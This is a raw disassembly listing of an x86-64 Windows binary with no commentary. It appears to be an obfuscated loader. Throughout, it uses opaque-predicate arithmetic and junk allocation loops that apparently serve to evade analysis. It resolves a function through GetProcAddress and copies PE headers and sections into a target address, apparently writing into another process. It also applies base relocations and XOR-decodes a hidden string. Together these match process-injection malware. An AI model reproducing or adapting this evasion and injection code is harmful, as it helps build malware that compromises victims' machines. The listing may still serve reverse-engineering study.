call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xdec]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xdf0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400287d0
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xdf4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xdf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xdf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdfc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xdfc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400287d0
mov dword [rsp + 0x130], 0
jmp 0x140028692
cmp dword [rsp + 0x130], 4
jae 0x1400287cb
cvtsi2sd xmm0, dword [rsp + 0x130]
movsd xmm1, qword [rsp + 0x308]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1898], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1898]
ucomisd xmm1, xmm0
jp 0x14002870d
jne 0x14002870d
mov eax, dword [rsp + 0x130]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x308]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x308], xmm0
jmp 0x14002858c
cvtsi2sd xmm0, dword [rsp + 0x130]
movsd xmm1, qword [rsp + 0x308]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18a0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18a0]
ucomisd xmm1, xmm0
jp 0x140028775
jne 0x140028775
mov eax, dword [rsp + 0x130]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x308]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x308], xmm0
jmp 0x14002878b
xor eax, eax
test eax, eax
je 0x140028787
jmp 0x140028872
jmp 0x1400287b4
cvtsi2sd xmm0, dword [rsp + 0x130]
movsd xmm1, qword [rsp + 0x308]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c4], eax
jmp 0x14002887d
xor eax, eax
cmp eax, 1
je 0x1400287c1
jmp 0x1400287d0
jmp 0x14002858c
jmp 0x14002858c
xor eax, eax
cmp eax, 1
je 0x140028872
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe00], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe08], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xe04], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe04]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe08]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x308]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c4], eax
jmp 0x14002887d
mov dword [rsp + 0x5c4], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x6c]
sub eax, 0x72
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe0c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe14], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xe10], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe10]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe14]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140028af6
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xe18], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xe18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe1c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xe1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe20], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xe20]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140028af6
mov dword [rsp + 0x134], 0
jmp 0x1400289b8
cmp dword [rsp + 0x134], 4
jae 0x140028af1
cvtsi2sd xmm0, dword [rsp + 0x134]
movsd xmm1, qword [rsp + 0x3d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18a8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18a8]
ucomisd xmm1, xmm0
jp 0x140028a33
jne 0x140028a33
mov eax, dword [rsp + 0x134]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d8], xmm0
jmp 0x1400288b2
cvtsi2sd xmm0, dword [rsp + 0x134]
movsd xmm1, qword [rsp + 0x3d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18b0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18b0]
ucomisd xmm1, xmm0
jp 0x140028a9b
jne 0x140028a9b
mov eax, dword [rsp + 0x134]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x3d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x3d8], xmm0
jmp 0x140028ab1
xor eax, eax
test eax, eax
je 0x140028aad
jmp 0x140028b98
jmp 0x140028ada
cvtsi2sd xmm0, dword [rsp + 0x134]
movsd xmm1, qword [rsp + 0x3d8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c8], eax
jmp 0x140028ba3
xor eax, eax
cmp eax, 1
je 0x140028ae7
jmp 0x140028af6
jmp 0x1400288b2
jmp 0x1400288b2
xor eax, eax
cmp eax, 1
je 0x140028b98
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe24], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe2c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xe28], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe28]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe2c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x3d8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5c8], eax
jmp 0x140028ba3
mov dword [rsp + 0x5c8], 1
movsxd rax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x218]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x5c4]
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov edi, dword [rsp + 0x5c8]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xe30], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xe30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe34], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xe34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe38], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xe38]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140028fa1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108368]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x310], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe3c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe44], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xe40], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe40]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe44]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140028ecb
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xe48], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xe48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe4c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xe4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe50], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xe50]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140028ecb
mov dword [rsp + 0x138], 0
jmp 0x140028d8d
cmp dword [rsp + 0x138], 4
jae 0x140028ec6
cvtsi2sd xmm0, dword [rsp + 0x138]
movsd xmm1, qword [rsp + 0x310]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18b8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18b8]
ucomisd xmm1, xmm0
jp 0x140028e08
jne 0x140028e08
mov eax, dword [rsp + 0x138]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x310]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x310], xmm0
jmp 0x140028c87
cvtsi2sd xmm0, dword [rsp + 0x138]
movsd xmm1, qword [rsp + 0x310]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18c0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18c0]
ucomisd xmm1, xmm0
jp 0x140028e70
jne 0x140028e70
mov eax, dword [rsp + 0x138]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x310]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x310], xmm0
jmp 0x140028e86
xor eax, eax
test eax, eax
je 0x140028e82
jmp 0x140028f6d
jmp 0x140028eaf
cvtsi2sd xmm0, dword [rsp + 0x138]
movsd xmm1, qword [rsp + 0x310]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5cc], eax
jmp 0x140028f78
xor eax, eax
cmp eax, 1
je 0x140028ebc
jmp 0x140028ecb
jmp 0x140028c87
jmp 0x140028c87
xor eax, eax
cmp eax, 1
je 0x140028f6d
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe54], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe5c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xe58], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe58]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe5c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x310]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5cc], eax
jmp 0x140028f78
mov dword [rsp + 0x5cc], 1
movsxd rax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x218]
mov edx, dword [rsp + 0x5cc]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x218]
mov dword [rdx + rcx*4], eax
jmp 0x140027996
mov rax, qword [rsp + 0x728]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x728]
mov eax, dword [rcx + rax]
mov dword [rsp + 0xe60], eax
lea rax, [rsp + 0x1bb8]
mov ecx, dword [rsp + 0xe60]
mov qword [rsp + 0x18c8], rcx
lea rdx, [0x140132ee0]
mov rcx, rax
mov rax, qword [rsp + 0x18c8]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x618], rax
mov byte [rsp + 0x80], 0
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x140029092
mov rax, qword [rsp + 0xd0]
mov ecx, dword [rsp + 0x260]
mov dword [rax + 0x34], ecx
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
test rax, rax
je 0x14002907a
mov byte [rsp + 0x82], 1
jmp 0x140029082
mov byte [rsp + 0x82], 0
mov al, byte [rsp + 0x82]
mov byte [rsp + 0x80], al
jmp 0x1400290ed
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
test rax, rax
je 0x1400290d7
mov byte [rsp + 0x83], 1
jmp 0x1400290df
mov byte [rsp + 0x83], 0
mov al, byte [rsp + 0x83]
mov byte [rsp + 0x80], al
movzx eax, byte [rsp + 0x80]
test eax, eax
jne 0x140029100
xor al, al
jmp 0x14002fed5
mov qword [rsp + 0x740], 0
mov dword [rsp + 0x5d0], 0
jmp 0x140029129
mov eax, dword [rsp + 0x5d0]
inc eax
mov dword [rsp + 0x5d0], eax
cmp dword [rsp + 0x5d0], 0x2d1f
jae 0x1400291cd
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x18d0], rax
mov rax, qword [rsp + 0x18d0]
mov qword [rsp + 0x1568], rax
mov dword [rsp + 0x250], 0
jmp 0x140029179
mov eax, dword [rsp + 0x250]
inc eax
mov dword [rsp + 0x250], eax
cmp dword [rsp + 0x250], 0x2eb8
jae 0x1400291ab
cmp dword [rsp + 0x250], 0x3e
jne 0x140029192
jmp 0x1400291ab
movsxd rax, dword [rsp + 0x250]
mov rcx, qword [rsp + 0x1568]
mov dword [rcx + rax*4], 0xaaf
jmp 0x140029169
mov rax, qword [rsp + 0x1568]
mov qword [rsp + 0x18d8], rax
mov rcx, qword [rsp + 0x18d8]
call fcn.14006e228
jmp 0x140029119
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0xd0]
cmp dword [rcx + rax + 0x78], 0
je 0x140029205
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx + rax + 0x78]
mov qword [rsp + 0x738], rax
jmp 0x14002922b
mov dword [rsp + 0x1570], 0
mov dword [rsp + 0x1574], 0
mov rax, qword [rsp + 0x1570]
mov qword [rsp + 0x738], rax
mov qword [rsp + 0x730], 0
mov byte [rsp + 0x86], 0
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x1400293a4
mov dword [rsp + 0x274], 0
jmp 0x140029269
mov eax, dword [rsp + 0x274]
inc eax
mov dword [rsp + 0x274], eax
mov rax, qword [rsp + 0xd0]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x274], eax
jge 0x14002938d
mov rax, qword [rsp + 0xd0]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0xd0]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rsp + 0x274]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x578]
mov eax, dword [rax + 0xc]
cmp dword [rsp + 0x738], eax
jb 0x1400292f5
mov rax, qword [rsp + 0x578]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x578]
add eax, dword [rcx + 8]
cmp dword [rsp + 0x738], eax
jae 0x1400292f5
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x740], rax
mov rax, qword [rsp + 0x578]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x578]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x610]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x578]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x260]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
test rax, rax
je 0x14002935f
mov byte [rsp + 0x84], 1
jmp 0x140029367
mov byte [rsp + 0x84], 0
mov al, byte [rsp + 0x84]
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a2]
test eax, eax
jne 0x140029388
xor al, al
jmp 0x14002fed5
jmp 0x140029259
cmp qword [rsp + 0x740], 0
jne 0x14002939f
xor al, al
jmp 0x14002fed5
jmp 0x1400294a2
mov dword [rsp + 0x278], 0
jmp 0x1400293c1
mov eax, dword [rsp + 0x278]
inc eax
mov dword [rsp + 0x278], eax
mov rax, qword [rsp + 0xd0]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x278], eax
jge 0x1400294a2
mov rax, qword [rsp + 0xd0]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0xd0]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rsp + 0x278]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x730]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x610]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x730]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x260]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x618]
test rax, rax
je 0x140029474
mov byte [rsp + 0x85], 1
jmp 0x14002947c
mov byte [rsp + 0x85], 0
mov al, byte [rsp + 0x85]
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x86]
test eax, eax
jne 0x14002949d
xor al, al
jmp 0x14002fed5
jmp 0x1400293b1
mov dword [rsp + 0x5d4], 5
jmp 0x1400294bf
mov eax, dword [rsp + 0x5d4]
inc eax
mov dword [rsp + 0x5d4], eax
cmp dword [rsp + 0x5d4], 0x2ce2
jae 0x140029563
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x18e0], rax
mov rax, qword [rsp + 0x18e0]
mov qword [rsp + 0x1578], rax
mov dword [rsp + 0x254], 0
jmp 0x14002950f
mov eax, dword [rsp + 0x254]
inc eax
mov dword [rsp + 0x254], eax
cmp dword [rsp + 0x254], 0x3418
jae 0x140029541
cmp dword [rsp + 0x254], 0x36
jne 0x140029528
jmp 0x140029541
movsxd rax, dword [rsp + 0x254]
mov rcx, qword [rsp + 0x1578]
mov dword [rcx + rax*4], 0xa42
jmp 0x1400294ff
mov rax, qword [rsp + 0x1578]
mov qword [rsp + 0x18e8], rax
mov rcx, qword [rsp + 0x18e8]
call fcn.14006e228
jmp 0x1400294af
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x14002b048
mov dword [rsp + 0x1ac], 0
mov eax, dword [rsp + 0x73c]
cmp dword [rsp + 0x1ac], eax
jae 0x14002b048
mov rax, qword [rsp + 0x740]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x610]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x1ac]
add rax, rcx
mov qword [rsp + 0x1580], rax
mov eax, dword [rsp + 0x1ac]
add rax, 8
mov dword [rsp + 0x1ac], eax
mov rax, qword [rsp + 0x1580]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0xe64], eax
mov dword [rsp + 0x5d8], 0
jmp 0x140029609
mov eax, dword [rsp + 0x5d8]
inc eax
mov dword [rsp + 0x5d8], eax
mov eax, dword [rsp + 0xe64]
cmp dword [rsp + 0x5d8], eax
jae 0x14002b043
mov rax, qword [rsp + 0x740]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x610]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x1ac]
add rax, rcx
mov qword [rsp + 0x1588], rax
mov eax, dword [rsp + 0x1ac]
add rax, 2
mov dword [rsp + 0x1ac], eax
mov rax, qword [rsp + 0x1588]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x140029676
jmp 0x1400295f9
mov rax, qword [rsp + 0x1580]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x260]
add rcx, rax
mov rax, rcx
mov ecx, 0xfff
mov rdx, qword [rsp + 0x1588]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
add rax, rcx
mov qword [rsp + 0x1598], rax
mov dword [rsp + 0x27c], 0
lea rax, [rsp + 0x4b6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b90]
lea rcx, str.dRY_jIS_L3_f.7_G
mov rdi, rax
mov rsi, rcx
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1a3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x6cc], 0x93a9
mov dword [rsp + 0xe68], 0x2f2d
mov dword [rsp + 0xe6c], 0x5bc8
mov eax, dword [rsp + 0xe68]
mov dword [rsp + 0x6cc], eax
cmp dword [rsp + 0x6cc], 0
je 0x140029745
mov dword [rsp + 0xe6c], 0x63ad
mov dword [rsp + 0x6d0], 0x43cc
mov dword [rsp + 0xe70], 0x3b4c
mov dword [rsp + 0xe74], 0x45d2
mov eax, dword [rsp + 0xe70]
mov dword [rsp + 0x6d0], eax
cmp dword [rsp + 0x6d0], 0
je 0x140029789
mov dword [rsp + 0xe74], 0x4e60
mov eax, 2
imul rax, rax, 0x11
movzx eax, word [rsp + rax + 0x1b90]
test eax, eax
je 0x1400297ab
mov dword [rsp + 0x6dc], 1
jmp 0x1400297b6
mov dword [rsp + 0x6dc], 0
movzx eax, byte [rsp + 0x6dc]
test eax, eax
je 0x140029879
mov dword [rsp + 0x6e0], 0x65d6
mov dword [rsp + 0xe78], 0x88c8
mov dword [rsp + 0xe7c], 0x6e8c
mov eax, dword [rsp + 0xe78]
mov dword [rsp + 0x6e0], eax
cmp dword [rsp + 0x6e0], 0
je 0x14002980a
mov dword [rsp + 0xe7c], 0x9ca6
mov dword [rsp + 0x1b4], 0
jmp 0x140029827
mov eax, dword [rsp + 0x1b4]
inc eax
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0x12
jge 0x140029879
movsxd rax, dword [rsp + 0x1b4]
movzx eax, word [rsp + rax*2 + 0x1b90]
mov dword [rsp + 0xe80], eax
mov eax, dword [rsp + 0x1b4]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0xe80]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1b4]
mov word [rsp + rcx*2 + 0x1b90], ax
jmp 0x140029817
lea rcx, [rsp + 0x1a3]
call fcn.140030658
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002aecc
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x220], rax
mov dword [rsp + 0x70], 0
jmp 0x1400298c6
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x70]
cmp rax, 1
jae 0x14002aecc
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xe84], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xe84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe88], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xe88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe8c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xe8c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140029c8e
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108360]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x318], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xe90], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xe90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe98], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xe94], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xe94]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xe98]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140029bb8
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xe9c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xe9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xea0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xea0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xea4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xea4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140029bb8
mov dword [rsp + 0x13c], 0
jmp 0x140029a7a
cmp dword [rsp + 0x13c], 4
jae 0x140029bb3
cvtsi2sd xmm0, dword [rsp + 0x13c]
movsd xmm1, qword [rsp + 0x318]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18f0], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18f0]
ucomisd xmm1, xmm0
jp 0x140029af5
jne 0x140029af5
mov eax, dword [rsp + 0x13c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x318]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x318], xmm0
jmp 0x140029974
cvtsi2sd xmm0, dword [rsp + 0x13c]
movsd xmm1, qword [rsp + 0x318]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x18f8], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x18f8]
ucomisd xmm1, xmm0
jp 0x140029b5d
jne 0x140029b5d
mov eax, dword [rsp + 0x13c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x318]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x318], xmm0
jmp 0x140029b73
xor eax, eax
test eax, eax
je 0x140029b6f
jmp 0x140029c5a
